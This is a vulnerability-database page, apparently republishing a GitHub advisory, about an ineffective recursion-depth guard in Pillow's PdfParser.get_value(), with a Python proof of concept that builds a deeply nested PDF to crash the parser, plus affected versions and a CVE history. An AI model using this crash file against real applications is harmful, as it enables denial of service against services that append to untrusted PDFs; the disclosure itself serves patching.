Mittel

Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 22.10.2026 18:07

Summary

PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

Details

get_value() in src/PIL/PdfParser.py

This is a classmethod that takes max_nesting: int = -1 and has a guard:

python
if max_nesting == 0:
    return None, None

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .

Steps to reproduce

Both PDFs below are plain text, built directly in Python, no PDF library needed.

python
from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError

Expected: a clean PdfFormatError.

Actual: raises a raw RecursionError: maximum recursion depth exceeded.

Impact

  • Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes.
  • Confidentiality: none.
  • Integrity: none.
  • Pillow cannot open PDFs for reading through Image.open(). PdfParser is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-835
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
21.10.2026
Aktualisiert
22.10.2026 18:07

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-254f-3936-288h - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (98) im Archiv
Einträge insgesamt
98
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 12
  • Hoch 57
  • Mittel 27
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 40

früher: 12

Schweregrad:
  1. Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() dieser Eintrag
    Mittel CVE-2026-112391 >= 5.1.0, < 13.0.0 13.0.0
  2. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  5. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  7. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  8. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  9. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  10. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  11. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  12. Hoch · 8.8 In Angriffen ausgenutzt CVE-2023-4863 < 10.0.1 10.0.1
  13. Hoch · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  14. Hoch · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  15. Hoch · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  16. Kritisch · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  17. Hoch · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  18. Kritisch · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  19. Hoch · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  20. Hoch · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  21. Hoch · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  22. Hoch · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  23. Hoch · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
Mehr anzeigen (20) 40 von 70 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.